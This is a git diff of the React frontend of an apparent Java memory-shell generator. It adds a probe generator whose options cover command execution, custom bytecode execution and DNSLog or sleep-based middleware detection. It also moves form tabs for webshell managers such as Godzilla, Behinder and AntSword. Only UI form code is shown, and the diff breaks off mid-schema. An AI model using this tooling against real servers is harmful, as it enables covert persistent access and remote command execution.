b/web/src/components/memshell/shell-result.tsx similarity index 95% rename from web/src/components/shell-result.tsx rename to web/src/components/memshell/shell-result.tsx index 129ce1e6..7b00c383 100644 --- a/web/src/components/shell-result.tsx +++ b/web/src/components/memshell/shell-result.tsx @@ -2,12 +2,12 @@ import { DownloadIcon } from "lucide-react"; import { useTranslation } from "react-i18next"; import { toast } from "sonner"; -import { QuickUsage } from "@/components/quick-usage.tsx"; +import { QuickUsage } from "@/components/memshell/quick-usage"; import { Button } from "@/components/ui/button.tsx"; import { Tabs, TabsContent, TabsList, TabsTrigger } from "@/components/ui/tabs.tsx"; import { downloadBytes } from "@/lib/utils.ts"; -import { GenerateResult } from "@/types/shell.ts"; -import CodeViewer from "./code-viewer"; +import type { GenerateResult } from "@/types/shell.ts"; +import CodeViewer from "../code-viewer"; import { BasicInfo } from "./results/basic-info"; import { ResultComponent } from "./results/result-component"; @@ -39,7 +39,6 @@ export default function ShellResult({ packResult={packResult} allPackResults={allPackResults} packMethod={packMethod} - t={t} generateResult={generateResult} /> diff --git a/web/src/components/tools/antsword-tab.tsx b/web/src/components/memshell/tabs/antsword-tab.tsx similarity index 85% rename from web/src/components/tools/antsword-tab.tsx rename to web/src/components/memshell/tabs/antsword-tab.tsx index 726a12f7..0d87e605 100644 --- a/web/src/components/tools/antsword-tab.tsx +++ b/web/src/components/memshell/tabs/antsword-tab.tsx @@ -1,10 +1,10 @@ -import { FormProvider, UseFormReturn } from "react-hook-form"; +import { FormProvider, type UseFormReturn } from "react-hook-form"; import { useTranslation } from "react-i18next"; -import { FormSchema } from "@/types/schema"; -import { Card, CardContent } from "../ui/card"; -import { FormControl, FormField, FormFieldItem, FormFieldLabel } from "../ui/form"; -import { Input } from "../ui/input"; -import { TabsContent } from "../ui/tabs"; +import { Card, CardContent } from "@/components/ui/card"; +import { FormControl, FormField, FormFieldItem, FormFieldLabel } from "@/components/ui/form"; +import { Input } from "@/components/ui/input"; +import { TabsContent } from "@/components/ui/tabs"; +import type { ShellFormSchema } from "@/types/schema"; import { OptionalClassFormField } from "./classname-field"; import { ShellTypeFormField } from "./shelltype-field"; import { UrlPatternFormField } from "./urlpattern-field"; @@ -12,7 +12,7 @@ import { UrlPatternFormField } from "./urlpattern-field"; export function AntSwordTabContent({ form, shellTypes, -}: Readonly<{ form: UseFormReturn; shellTypes: Array }>) { +}: Readonly<{ form: UseFormReturn; shellTypes: Array }>) { const { t } = useTranslation(); return ( diff --git a/web/src/components/tools/behinder-tab.tsx b/web/src/components/memshell/tabs/behinder-tab.tsx similarity index 83% rename from web/src/components/tools/behinder-tab.tsx rename to web/src/components/memshell/tabs/behinder-tab.tsx index 9f846ef1..b669220e 100644 --- a/web/src/components/tools/behinder-tab.tsx +++ b/web/src/components/memshell/tabs/behinder-tab.tsx @@ -1,10 +1,10 @@ -import { FormProvider, UseFormReturn } from "react-hook-form"; +import { FormProvider, type UseFormReturn } from "react-hook-form"; import { useTranslation } from "react-i18next"; -import { FormSchema } from "@/types/schema"; -import { Card, CardContent } from "../ui/card"; -import { FormField, FormFieldItem, FormFieldLabel } from "../ui/form"; -import { Input } from "../ui/input"; -import { TabsContent } from "../ui/tabs"; +import { Card, CardContent } from "@/components/ui/card"; +import { FormField, FormFieldItem, FormFieldLabel } from "@/components/ui/form"; +import { Input } from "@/components/ui/input"; +import { TabsContent } from "@/components/ui/tabs"; +import type { ShellFormSchema } from "@/types/schema"; import { OptionalClassFormField } from "./classname-field"; import { ShellTypeFormField } from "./shelltype-field"; import { UrlPatternFormField } from "./urlpattern-field"; @@ -12,7 +12,7 @@ import { UrlPatternFormField } from "./urlpattern-field"; export function BehinderTabContent({ form, shellTypes, -}: Readonly<{ form: UseFormReturn; shellTypes: Array }>) { +}: Readonly<{ form: UseFormReturn; shellTypes: Array }>) { const { t } = useTranslation(); return ( diff --git a/web/src/components/tools/classname-field.tsx b/web/src/components/memshell/tabs/classname-field.tsx similarity index 90% rename from web/src/components/tools/classname-field.tsx rename to web/src/components/memshell/tabs/classname-field.tsx index 0164d209..b25a31ff 100644 --- a/web/src/components/tools/classname-field.tsx +++ b/web/src/components/memshell/tabs/classname-field.tsx @@ -1,13 +1,13 @@ import { ChevronDown, ChevronUp, Settings } from "lucide-react"; import { Fragment, useId, useState } from "react"; -import { FormProvider, UseFormReturn } from "react-hook-form"; +import { FormProvider, type UseFormReturn } from "react-hook-form"; import { useTranslation } from "react-i18next"; +import { Button } from "@/components/ui/button"; import { FormField, FormFieldItem, FormFieldLabel } from "@/components/ui/form.tsx"; import { Input } from "@/components/ui/input.tsx"; -import { FormSchema } from "@/types/schema.ts"; -import { Button } from "../ui/button"; +import type { ShellFormSchema } from "@/types/schema.ts"; -export function OptionalClassFormField({ form }: Readonly<{ form: UseFormReturn }>) { +export function OptionalClassFormField({ form }: Readonly<{ form: UseFormReturn }>) { const { t } = useTranslation(); const [showAdvanced, setShowAdvanced] = useState(false); const shellClassNameId = useId(); diff --git a/web/src/components/tools/command-tab.tsx b/web/src/components/memshell/tabs/command-tab.tsx similarity index 90% rename from web/src/components/tools/command-tab.tsx rename to web/src/components/memshell/tabs/command-tab.tsx index 17c85a67..0c5be9c0 100644 --- a/web/src/components/tools/command-tab.tsx +++ b/web/src/components/memshell/tabs/command-tab.tsx @@ -1,13 +1,13 @@ import { useQuery } from "@tanstack/react-query"; -import { FormProvider, UseFormReturn } from "react-hook-form"; +import { FormProvider, type UseFormReturn } from "react-hook-form"; import { useTranslation } from "react-i18next"; +import { Card, CardContent } from "@/components/ui/card"; +import { FormControl, FormField, FormFieldItem, FormFieldLabel } from "@/components/ui/form"; +import { Input } from "@/components/ui/input"; +import { Select, SelectContent, SelectItem, SelectTrigger, SelectValue } from "@/components/ui/select"; +import { TabsContent } from "@/components/ui/tabs"; import { env } from "@/config"; -import { FormSchema } from "@/types/schema"; -import { Card, CardContent } from "../ui/card"; -import { FormControl, FormField, FormFieldItem, FormFieldLabel } from "../ui/form"; -import { Input } from "../ui/input"; -import { Select, SelectContent, SelectItem, SelectTrigger, SelectValue } from "../ui/select"; -import { TabsContent } from "../ui/tabs"; +import type { ShellFormSchema } from "@/types/schema"; import { OptionalClassFormField } from "./classname-field"; import { ShellTypeFormField } from "./shelltype-field"; import { UrlPatternFormField } from "./urlpattern-field"; @@ -15,7 +15,7 @@ import { UrlPatternFormField } from "./urlpattern-field"; export function CommandTabContent({ form, shellTypes, -}: Readonly<{ form: UseFormReturn; shellTypes: Array }>) { +}: Readonly<{ form: UseFormReturn; shellTypes: Array }>) { const { t } = useTranslation(); const { data } = useQuery<{ encryptors: Array; implementationClasses: Array }>({ queryKey: ["commandConfigs"], diff --git a/web/src/components/tools/custom-tab.tsx b/web/src/components/memshell/tabs/custom-tab.tsx similarity index 87% rename from web/src/components/tools/custom-tab.tsx rename to web/src/components/memshell/tabs/custom-tab.tsx index 1c79493f..2aa5b8b0 100644 --- a/web/src/components/tools/custom-tab.tsx +++ b/web/src/components/memshell/tabs/custom-tab.tsx @@ -1,14 +1,14 @@ import { t } from "i18next"; import { useId, useState } from "react"; -import { FormProvider, UseFormReturn } from "react-hook-form"; +import { FormProvider, type UseFormReturn } from "react-hook-form"; import { Card, CardContent } from "@/components/ui/card"; +import { FormControl, FormField, FormFieldItem, FormFieldLabel, FormMessage } from "@/components/ui/form"; +import { Input } from "@/components/ui/input"; +import { Label } from "@/components/ui/label"; +import { RadioGroup, RadioGroupItem } from "@/components/ui/radio-group"; import { TabsContent } from "@/components/ui/tabs"; -import { FormSchema } from "@/types/schema"; -import { FormControl, FormField, FormFieldItem, FormFieldLabel, FormMessage } from "../ui/form"; -import { Input } from "../ui/input"; -import { Label } from "../ui/label"; -import { RadioGroup, RadioGroupItem } from "../ui/radio-group"; -import { Textarea } from "../ui/textarea"; +import { Textarea } from "@/components/ui/textarea"; +import type { ShellFormSchema } from "@/types/schema"; import { OptionalClassFormField } from "./classname-field"; import { ShellTypeFormField } from "./shelltype-field"; import { UrlPatternFormField } from "./urlpattern-field"; @@ -16,7 +16,7 @@ import { UrlPatternFormField } from "./urlpattern-field"; export default function CustomTabContent({ form, shellTypes, -}: Readonly<{ form: UseFormReturn; shellTypes: Array }>) { +}: Readonly<{ form: UseFormReturn; shellTypes: Array }>) { const [isFile, setIsFile] = useState(false); const optionOneId = useId(); const optionTwoId = useId(); diff --git a/web/src/components/tools/godzilla-tab.tsx b/web/src/components/memshell/tabs/godzilla-tab.tsx similarity index 85% rename from web/src/components/tools/godzilla-tab.tsx rename to web/src/components/memshell/tabs/godzilla-tab.tsx index 017805a7..020b6e8b 100644 --- a/web/src/components/tools/godzilla-tab.tsx +++ b/web/src/components/memshell/tabs/godzilla-tab.tsx @@ -1,10 +1,10 @@ -import { FormProvider, UseFormReturn } from "react-hook-form"; +import { FormProvider, type UseFormReturn } from "react-hook-form"; import { useTranslation } from "react-i18next"; -import { FormSchema } from "@/types/schema"; -import { Card, CardContent } from "../ui/card"; -import { FormField, FormFieldItem, FormFieldLabel } from "../ui/form"; -import { Input } from "../ui/input"; -import { TabsContent } from "../ui/tabs"; +import { Card, CardContent } from "@/components/ui/card"; +import { FormField, FormFieldItem, FormFieldLabel } from "@/components/ui/form"; +import { Input } from "@/components/ui/input"; +import { TabsContent } from "@/components/ui/tabs"; +import type { ShellFormSchema } from "@/types/schema"; import { OptionalClassFormField } from "./classname-field"; import { ShellTypeFormField } from "./shelltype-field"; import { UrlPatternFormField } from "./urlpattern-field"; @@ -12,7 +12,7 @@ import { UrlPatternFormField } from "./urlpattern-field"; export function GodzillaTabContent({ form, shellTypes, -}: Readonly<{ form: UseFormReturn; shellTypes: Array }>) { +}: Readonly<{ form: UseFormReturn; shellTypes: Array }>) { const { t } = useTranslation(); return ( diff --git a/web/src/components/tools/neoreg-tab.tsx b/web/src/components/memshell/tabs/neoreg-tab.tsx similarity index 79% rename from web/src/components/tools/neoreg-tab.tsx rename to web/src/components/memshell/tabs/neoreg-tab.tsx index 39b84d93..63f33cc0 100644 --- a/web/src/components/tools/neoreg-tab.tsx +++ b/web/src/components/memshell/tabs/neoreg-tab.tsx @@ -1,10 +1,10 @@ -import { FormProvider, UseFormReturn } from "react-hook-form"; +import { FormProvider, type UseFormReturn } from "react-hook-form"; import { useTranslation } from "react-i18next"; -import { FormSchema } from "@/types/schema"; -import { Card, CardContent } from "../ui/card"; -import { FormField, FormFieldItem, FormFieldLabel } from "../ui/form"; -import { Input } from "../ui/input"; -import { TabsContent } from "../ui/tabs"; +import { Card, CardContent } from "@/components/ui/card"; +import { FormField, FormFieldItem, FormFieldLabel } from "@/components/ui/form"; +import { Input } from "@/components/ui/input"; +import { TabsContent } from "@/components/ui/tabs"; +import type { ShellFormSchema } from "@/types/schema"; import { OptionalClassFormField } from "./classname-field"; import { ShellTypeFormField } from "./shelltype-field"; import { UrlPatternFormField } from "./urlpattern-field"; @@ -12,7 +12,7 @@ import { UrlPatternFormField } from "./urlpattern-field"; export function NeoRegTabContent({ form, shellTypes, -}: Readonly<{ form: UseFormReturn; shellTypes: Array }>) { +}: Readonly<{ form: UseFormReturn; shellTypes: Array }>) { const { t } = useTranslation(); return ( diff --git a/web/src/components/tools/shelltype-field.tsx b/web/src/components/memshell/tabs/shelltype-field.tsx similarity index 87% rename from web/src/components/tools/shelltype-field.tsx rename to web/src/components/memshell/tabs/shelltype-field.tsx index 5d84bfbf..1209e649 100644 --- a/web/src/components/tools/shelltype-field.tsx +++ b/web/src/components/memshell/tabs/shelltype-field.tsx @@ -1,13 +1,13 @@ -import { FormProvider, UseFormReturn } from "react-hook-form"; +import { FormProvider, type UseFormReturn } from "react-hook-form"; import { useTranslation } from "react-i18next"; import { FormControl, FormField, FormFieldItem, FormFieldLabel } from "@/components/ui/form.tsx"; import { Select, SelectContent, SelectItem, SelectTrigger, SelectValue } from "@/components/ui/select.tsx"; -import { FormSchema } from "@/types/schema.ts"; +import type { ShellFormSchema } from "@/types/schema.ts"; export function ShellTypeFormField({ form, shellTypes, -}: Readonly<{ form: UseFormReturn; shellTypes: Array }>) { +}: Readonly<{ form: UseFormReturn; shellTypes: Array }>) { const { t } = useTranslation(); return ( diff --git a/web/src/components/tools/suo5-tab.tsx b/web/src/components/memshell/tabs/suo5-tab.tsx similarity index 79% rename from web/src/components/tools/suo5-tab.tsx rename to web/src/components/memshell/tabs/suo5-tab.tsx index 78873567..3770af6f 100644 --- a/web/src/components/tools/suo5-tab.tsx +++ b/web/src/components/memshell/tabs/suo5-tab.tsx @@ -1,10 +1,10 @@ -import { FormProvider, UseFormReturn } from "react-hook-form"; +import { FormProvider, type UseFormReturn } from "react-hook-form"; import { useTranslation } from "react-i18next"; -import { FormSchema } from "@/types/schema"; -import { Card, CardContent } from "../ui/card"; -import { FormField, FormFieldItem, FormFieldLabel } from "../ui/form"; -import { Input } from "../ui/input"; -import { TabsContent } from "../ui/tabs"; +import { Card, CardContent } from "@/components/ui/card"; +import { FormField, FormFieldItem, FormFieldLabel } from "@/components/ui/form"; +import { Input } from "@/components/ui/input"; +import { TabsContent } from "@/components/ui/tabs"; +import type { ShellFormSchema } from "@/types/schema"; import { OptionalClassFormField } from "./classname-field"; import { ShellTypeFormField } from "./shelltype-field"; import { UrlPatternFormField } from "./urlpattern-field"; @@ -12,7 +12,7 @@ import { UrlPatternFormField } from "./urlpattern-field"; export function Suo5TabContent({ form, shellTypes, -}: Readonly<{ form: UseFormReturn; shellTypes: Array }>) { +}: Readonly<{ form: UseFormReturn; shellTypes: Array }>) { const { t } = useTranslation(); return ( diff --git a/web/src/components/tools/urlpattern-field.tsx b/web/src/components/memshell/tabs/urlpattern-field.tsx similarity index 84% rename from web/src/components/tools/urlpattern-field.tsx rename to web/src/components/memshell/tabs/urlpattern-field.tsx index a2e72966..8034f3c0 100644 --- a/web/src/components/tools/urlpattern-field.tsx +++ b/web/src/components/memshell/tabs/urlpattern-field.tsx @@ -1,11 +1,11 @@ -import { FormProvider, UseFormReturn } from "react-hook-form"; +import { FormProvider, type UseFormReturn } from "react-hook-form"; import { useTranslation } from "react-i18next"; import { FormField, FormFieldItem, FormFieldLabel, FormMessage } from "@/components/ui/form.tsx"; import { Input } from "@/components/ui/input.tsx"; import { shouldHidden } from "@/lib/utils"; -import { FormSchema } from "@/types/schema.ts"; +import type { ShellFormSchema } from "@/types/schema.ts"; -export function UrlPatternFormField({ form }: Readonly<{ form: UseFormReturn }>) { +export function UrlPatternFormField({ form }: Readonly<{ form: UseFormReturn }>) { const { t } = useTranslation(); const shellType = form.watch("shellType"); return ( diff --git a/web/src/components/probe/basic-info.tsx b/web/src/components/probe/basic-info.tsx new file mode 100644 index 00000000..f2bb6fd3 --- /dev/null +++ b/web/src/components/probe/basic-info.tsx @@ -0,0 +1,32 @@ +import { FileTextIcon } from "lucide-react"; +import { useTranslation } from "react-i18next"; +import { CopyableField } from "@/components/copyable-field"; +import { FeedbackAlert } from "@/components/memshell/results/feedback-alert"; +import { Card, CardContent, CardHeader, CardTitle } from "@/components/ui/card"; +import type { ProbeGenerateResult } from "@/types/probe"; + +export function BasicInfo({ generateResult }: Readonly<{ generateResult?: ProbeGenerateResult }>) { + const { t } = useTranslation(); + return ( + + + +
+ + {t("generateResult.basicInfo")} +
+ +
+
+ +
+ +
+
+
+ ); +} diff --git a/web/src/components/probe/main-config-card.tsx b/web/src/components/probe/main-config-card.tsx new file mode 100644 index 00000000..28ca4402 --- /dev/null +++ b/web/src/components/probe/main-config-card.tsx @@ -0,0 +1,356 @@ +import { ServerIcon } from "lucide-react"; +import { useCallback, useEffect, useMemo } from "react"; +import { FormProvider, type UseFormReturn } from "react-hook-form"; +import { useTranslation } from "react-i18next"; +import { Card, CardContent, CardHeader, CardTitle } from "@/components/ui/card"; +import { + FormControl, + FormField, + FormFieldItem, + FormFieldLabel, + FormItem, + FormLabel, + FormMessage, +} from "@/components/ui/form"; +import { Input } from "@/components/ui/input"; +import { Label } from "@/components/ui/label"; +import { Select, SelectContent, SelectItem, SelectTrigger, SelectValue } from "@/components/ui/select"; +import { Switch } from "@/components/ui/switch"; +import type { ProbeFormSchema } from "@/types/schema"; +import type { ServerConfig } from "@/types/shell"; +import { Separator } from "../ui/separator"; + +// 常量提取到组件外部 +const PROBE_OPTIONS = [ + { value: "Server" as const, label: "中间件类型" }, + { value: "JDK" as const, label: "JDK 信息" }, + { value: "Command" as const, label: "命令执行" }, + { value: "Bytecode" as const, label: "自定义字节码执行" }, +] as const; + +const MIDDLEWARE_OPTIONS = [ + { value: "Tomcat", label: "Tomcat" }, + { value: "Jetty", label: "Jetty" }, + { value: "Undertow", label: "Undertow" }, + { value: "Resin", label: "Resin" }, + { value: "JBoss", label: "JBoss" }, + { value: "GlassFish", label: "GlassFish" }, + { value: "BES", label: "BES" }, + { value: "TongWeb", label: "TongWeb" }, + { value: "InforSuite", label: "InforSuite" }, + { value: "Apusic", label: "Apusic" }, + { value: "SpringWebFlux", label: "SpringWebFlux" }, + { value: "WebLogic", label: "WebLogic" }, + { value: "WebSphere", label: "WebSphere" }, +] as const; + +const PROBE_METHOD_OPTIONS = [ + { value: "Sleep", label: "Sleep 延迟探测" }, + { value: "DNSLog", label: "DNSLog" }, + { value: "ResponseBody", label: "ResponseBody" }, +] as const; + +// 默认值配置 +const DEFAULT_FORM_VALUES = { + reqParamName: "payload", + reqHeaderName: "X-PAYLOAD", + sleepServer: "Tomcat", + seconds: 5, +} as const; + +interface MainConfigCardProps { + readonly form: UseFormReturn; + readonly servers?: ServerConfig; +} + +export default function MainConfigCard({ form, servers }: MainConfigCardProps) { + const { t } = useTranslation(); + const watchedProbeMethod = form.watch("probeMethod"); + const watchedProbeContent = form.watch("probeContent"); + + const filteredOptions = useMemo(() => { + const filterMap = { + ResponseBody: ["Command", "Bytecode"], + DNSLog: ["JDK", "Server"], + Sleep: ["Server"], + } as const; + + const allowedValues = filterMap[watchedProbeMethod as keyof typeof filterMap]; + + if (!allowedValues) return PROBE_OPTIONS; + + return PROBE_OPTIONS.filter(opt => + allowedValues.includes(opt.value as never) + ); + }, [watchedProbeMethod]); + + const resetFormValues = useCallback(() => { + if (filteredOptions.length === 0) return; + + const currentValues = form.getValues(); + form.reset({ + ...currentValues, + probeMethod: watchedProbeMethod, + probeContent: filteredOptions[0].value, + ...DEFAULT_FORM_VALUES, + }); + }, [form, watchedProbeMethod, filteredOptions]); + + useEffect(() => { + resetFormValues(); + }, [resetFormValues]); + + const ContentOptionsSelect = useMemo(() => ( + ( + + 探测内容 + + + + )} + /> + ), [form.control, filteredOptions]); + + const RequestParamField = useMemo(() => ( +
+ ( + + Request Param Name + + + + + + )} + /> +
+ ), [form.control]); + + const SleepFields = useMemo(() => ( +
+
+ ( + + 探测中间件 + + + + )} + /> + ( + + 命中延迟时间 (秒) + + field.onChange(+event.target.value)} + /> + + + + )} + /> +
+
+ ), [form.control]); + + const renderDynamicFields = useCallback(() => { + const isBodyMethod = watchedProbeMethod === "ResponseBody"; + const isCommandOrBytecode = watchedProbeContent === "Command" || watchedProbeContent === "Bytecode"; + const isSleepMethod = watchedProbeMethod === "Sleep"; + const isServerContent = watchedProbeContent === "Server"; + + if (isBodyMethod && isCommandOrBytecode) { + return RequestParamField; + } + + if (isSleepMethod && isServerContent) { + return SleepFields; + } + + return null; + }, [watchedProbeMethod, watchedProbeContent, RequestParamField, SleepFields]); + + + const DNSLogSection = useMemo(() => ( + ( + + DNSLog 地址 + + + + + + )} + /> + ), [form.control]); + + const MiddlewareSelect = useMemo(() => ( + ( + + 中间件类型 + + + + )} + /> + ), [form.control, servers]); + + const SwitchGroup = useMemo(() => ( +
+ ( + + + + + {t("mainConfig.debug")} + + )} + /> + ( + + + + + + + )} + /> + ( + + + + + + + )} + /> +
+ ), [form.control, t]); + + return ( + + + + + + {t("configs.main-config")} + + + + ( + + 探测方式 + + + + )} + /> + + {watchedProbeMethod === "ResponseBody" && MiddlewareSelect} + {watchedProbeMethod === "DNSLog" && DNSLogSection} + {watchedProbeMethod && ContentOptionsSelect} + {SwitchGroup} + {renderDynamicFields()} + + ( + + + {t("mainConfig.shellClassName")} {t("optional")} + + + + )} + /> + + + + ); +} \ No newline at end of file diff --git a/web/src/components/probe/package-config-card.tsx b/web/src/components/probe/package-config-card.tsx new file mode 100644 index 00000000..c76ac2e3 --- /dev/null +++ b/web/src/components/probe/package-config-card.tsx @@ -0,0 +1,93 @@ +import { PackageIcon } from "lucide-react"; +import { useEffect, useState } from "react"; +import { FormProvider, type UseFormReturn } from "react-hook-form"; +import { useTranslation } from "react-i18next"; +import { Card, CardContent, CardHeader, CardTitle } from "@/components/ui/card.tsx"; +import { FormControl, FormField, FormItem, FormLabel } from "@/components/ui/form.tsx"; +import { RadioGroup, RadioGroupItem } from "@/components/ui/radio-group.tsx"; +import type { ProbeFormSchema } from "@/types/schema"; +import type { PackerConfig } from "@/types/shell.ts"; + +type Option = { + name: string; + value: string; +}; + +export default function PackageConfigCard({ + packerConfig, + form, +}: Readonly<{ + packerConfig: PackerConfig | undefined; + form: UseFormReturn; +}>) { + const [options, setOptions] = useState>([]); + const { t } = useTranslation(); + + useEffect(() => { + const filteredOptions = (packerConfig ?? []).filter((name) => { + return !name.startsWith("Agent") && !name.toLowerCase().startsWith("xxl"); + }); + + const mappedOptions = filteredOptions.map((name) => { + return { + name: t(`packageConfig.packer.${name}`), + value: name, + }; + }); + + setOptions(mappedOptions); + const currentValue = form.getValues("packingMethod"); + if (filteredOptions.length > 0 && (!currentValue || !filteredOptions.includes(currentValue))) { + form.setValue("packingMethod", filteredOptions[0]); + } + }, [form, packerConfig, t]); + + return ( + + + + + {t("configs.package-config")} + + + + {options.length > 0 ? ( + + ( + + {t("packageConfig.title")} + + + {options.map(({ name, value }) => ( + + + + + + {name} + + + ))} + + + + )} + /> + + ) : ( +
+
+ {t("loading")} +
+ )} + + + ); +} diff --git a/web/src/components/probe/quick-usage.tsx b/web/src/components/probe/quick-usage.tsx new file mode 100644 index 00000000..d3f993b2 --- /dev/null +++ b/web/src/components/probe/quick-usage.tsx @@ -0,0 +1,26 @@ +import { ScrollTextIcon } from "lucide-react"; +import { useTranslation } from "react-i18next"; +import { Card, CardContent, CardHeader, CardTitle } from "@/components/ui/card.tsx"; + +export function QuickUsage() { + const { t } = useTranslation(); + return ( + + + + + {t("quickUsage.title")} + + + +
    +
  1. {t("quickUsage.step1")}
  2. +
  3. {t("quickUsage.step2")}
  4. +
  5. {t("quickUsage.step3")}
  6. +
  7. {t("quickUsage.step4")}
  8. +
  9. {t("quickUsage.step5")}
  10. +
+
+
+ ); +} diff --git a/web/src/components/probe/shell-result.tsx b/web/src/components/probe/shell-result.tsx new file mode 100644 index 00000000..7740e3a1 --- /dev/null +++ b/web/src/components/probe/shell-result.tsx @@ -0,0 +1,57 @@ +import { useTranslation } from "react-i18next"; +import { QuickUsage } from "@/components/probe/quick-usage"; +import { Tabs, TabsContent, TabsList, TabsTrigger } from "@/components/ui/tabs.tsx"; +import type { ProbeGenerateResult } from "@/types/probe"; +import CodeViewer from "../code-viewer"; +import { MultiPackResult } from "../memshell/results/multi-packer"; +import { BasicInfo } from "./basic-info"; + +export default function ShellResult({ + packResult, + allPackResults, + packMethod, + generateResult, +}: Readonly<{ + packResult: string | undefined; + allPackResults: Map | undefined; + packMethod: string; + generateResult?: ProbeGenerateResult; +}>) { + const { t } = useTranslation(); + if (!generateResult) { + return ; + } + const showCode = packMethod === "JSP"; + return ( + + + {t("generateResult.title1")} + + + + { + allPackResults && + } + { + packResult && ( + + + {t("packageConfig.title")}:{packMethod} + + ({packResult?.length}) +
+ } + wrapLongLines={!showCode} + showLineNumbers={showCode} + language={showCode ? "java" : "text"} + height={350} + /> + ) + } + + + ); +} diff --git a/web/src/config.ts b/web/src/config.ts index 6ff5ae6b..dddc514d 100644 --- a/web/src/config.ts +++ b/web/src/config.ts @@ -1,9 +1,10 @@ import * as yup from "yup"; const EnvSchema = yup.object({ - API_URL: yup.string().optional(), - BASE_PATH: yup.string().optional(), + API_URL: yup.string().required(), + BASE_PATH: yup.string().required(), MODE: yup.string().required(), + LANDING: yup.boolean().required(), }); type EnvSchema = yup.InferType; diff --git a/web/src/i18n/en.json b/web/src/i18n/en.json index 6795e6bc..8a87e661 100644 --- a/web/src/i18n/en.json +++ b/web/src/i18n/en.json @@ -17,7 +17,7 @@ "generateResult.title3": "Injector Class", "generateResult.usage": "Usage", "loading": "Loading...", - "mainConfig.bypassJavaModule": "Bypass Java Module", + "mainConfig.byPassJavaModule": "Bypass Java Module", "mainConfig.debug": "Debug Mode", "mainConfig.injectorClassName": "Injector ClassName", "mainConfig.jre": "Target JRE Version", diff --git a/web/src/i18n/zh-CN.json b/web/src/i18n/zh-CN.json index c375929c..07dac556 100644 --- a/web/src/i18n/zh-CN.json +++ b/web/src/i18n/zh-CN.json @@ -17,7 +17,7 @@ "generateResult.title3": "注入器类", "generateResult.usage": "使用方法", "loading": "加载中...", - "mainConfig.bypassJavaModule": "绕过 Java 模块限制", + "mainConfig.byPassJavaModule": "绕过 Java 模块限制", "mainConfig.debug": "调试模式", "mainConfig.injectorClassName": "注入器类名", "mainConfig.jre": "目标 JRE 版本", diff --git a/web/src/lib/config.ts b/web/src/lib/config.ts index 876445e1..6bcf81a5 100644 --- a/web/src/lib/config.ts +++ b/web/src/lib/config.ts @@ -8,8 +8,8 @@ export const siteConfig = { label: "MemShellGenerator", }, { - href: "/detection", - label: "DetectionGenerator", + href: "/probe", + label: "ProbeGenerator", }, ], }; diff --git a/web/src/pages/detection.tsx b/web/src/pages/detection.tsx deleted file mode 100644 index 0152f8ab..00000000 --- a/web/src/pages/detection.tsx +++ /dev/null @@ -1,802 +0,0 @@ -/** biome-ignore-all lint/suspicious/noThenProperty: no way */ - -import { yupResolver } from "@hookform/resolvers/yup"; -import { AlertTriangle, Trash2 } from "lucide-react"; -import * as React from "react"; -import { useId, useState } from "react"; -import { Controller, useFieldArray, useForm } from "react-hook-form"; -import * as yup from "yup"; -import { Alert, AlertDescription, AlertTitle } from "@/components/ui/alert"; -import { Button } from "@/components/ui/button"; -import { Card, CardContent, CardFooter } from "@/components/ui/card"; -import { - Form, - FormControl, - FormDescription, - FormField, - FormFieldItem, - FormFieldLabel, - FormItem, - FormLabel, - FormMessage, -} from "@/components/ui/form"; -import { Input } from "@/components/ui/input"; -import { Label } from "@/components/ui/label"; -import { RadioGroup, RadioGroupItem } from "@/components/ui/radio-group"; -import { Select, SelectContent, SelectItem, SelectTrigger, SelectValue } from "@/components/ui/select"; -import { Textarea } from "@/components/ui/textarea"; - -// --- 类型定义 --- - -// 回显方式 -type EchoMethod = "header" | "body" | "dnslog" | "httplog" | "sleep"; - -// 回显内容 -type EchoContent = "middleware" | "os" | "jdk" | "bytecode" | "command"; - -// 表单值的完整类型 -interface PayloadFormValues { - echoMethod: EchoMethod; - echoContent?: EchoContent; - // Header - headerName?: string; - // DNSLog / HTTPLog - logAddress?: string; - middlewareType?: "tomcat" | "jetty" | "springboot" | "weblogic"; - paramSource?: "builtin" | "requestParam" | "requestHeader"; - requestParamName?: string; - requestHeaderName?: string; - bytecodeBase64?: string; - command?: string; - // Sleep 选项 - sleepMiddleware?: "tomcat" | "jetty" | "springboot" | "weblogic"; - sleepMiddlewareDelay?: number; - sleepOsDelays?: { os: "linux" | "windows" | "macos"; delay: number }[]; - sleepJdkDetectionType?: "version" | "type"; - sleepJdkVersion?: "8" | "11" | "17"; - sleepJdkType?: "jdk" | "jre"; - sleepJdkDelay?: number; - sleepBytecodeSuccessDelay?: number; -} - -const formSchema = yup.object().shape({ - echoMethod: yup.string().required("请选择一种回显方式"), - - // 条件:当 echoMethod 是 'header' - headerName: yup.string().when("echoMethod", { - is: "header", - then: (schema) => schema.required("必须填写 Header Name"), - otherwise: (schema) => schema.optional(), - }), - - // 条件:当 echoMethod 是 'dnslog' 或 'httplog' - logAddress: yup.string().when("echoMethod", { - is: (val: EchoMethod) => val === "dnslog" || val === "httplog", - then: (schema) => schema.required("必须填写 Log 地址"), - otherwise: (schema) => schema.optional(), - }), - - // 只有在选择了具体内容时才需要 - echoContent: yup.string().required("请选择回显内容"), - - // --- 嵌套条件验证 --- - - // 中间件类型在特定组合下是必须的 - middlewareType: yup.string().when(["echoMethod", "echoContent"], { - is: (echoMethod: EchoMethod, echoContent: EchoContent) => - (echoMethod === "header" || echoMethod === "body") && - (echoContent === "os" || echoContent === "jdk" || echoContent === "bytecode"), - then: (schema) => schema.required("请选择中间件类型"), - otherwise: (schema) => schema.optional(), - }), - - // 字节码相关 - paramSource: yup.string().when(["echoMethod", "echoContent"], { - is: (echoMethod: EchoMethod, echoContent: EchoContent) => - (echoMethod === "header" || echoMethod === "body") && echoContent === "bytecode", - then: (schema) => schema.required("请选择字节码来源"), - otherwise: (schema) => schema.optional(), - }), - bytecodeBase64: yup.string().when(["echoContent", "paramSource"], { - is: (echoContent: EchoContent, paramSource: string) => echoContent === "bytecode" && paramSource === "builtin", - then: (schema) => schema.required("必须填写字节码 Base64"), - otherwise: (schema) => schema.optional(), - }), - requestParamName: yup.string().when("paramSource", { - is: (paramSource: string) => paramSource === "requestParam", - then: (schema) => schema.required("必须填写 Request Param Name"), - otherwise: (schema) => schema.optional(), - }), - requestHeaderName: yup.string().when("paramSource", { - is: (paramSource: string) => paramSource === "requestHeader", - then: (schema) => schema.required("必须填写 Request Header Name"), - otherwise: (schema) => schema.optional(), - }), - command: yup.string().when("echoContent", { - is: (echoContent: EchoContent) => echoContent === "command", - then: (schema) => schema.required("必须填写执行的命令"), - otherwise: (schema) => schema.optional(), - }), - - // --- Sleep 相关验证 --- - sleepMiddleware: yup.string().when(["echoMethod", "echoContent"], { - is: (method: string, content: 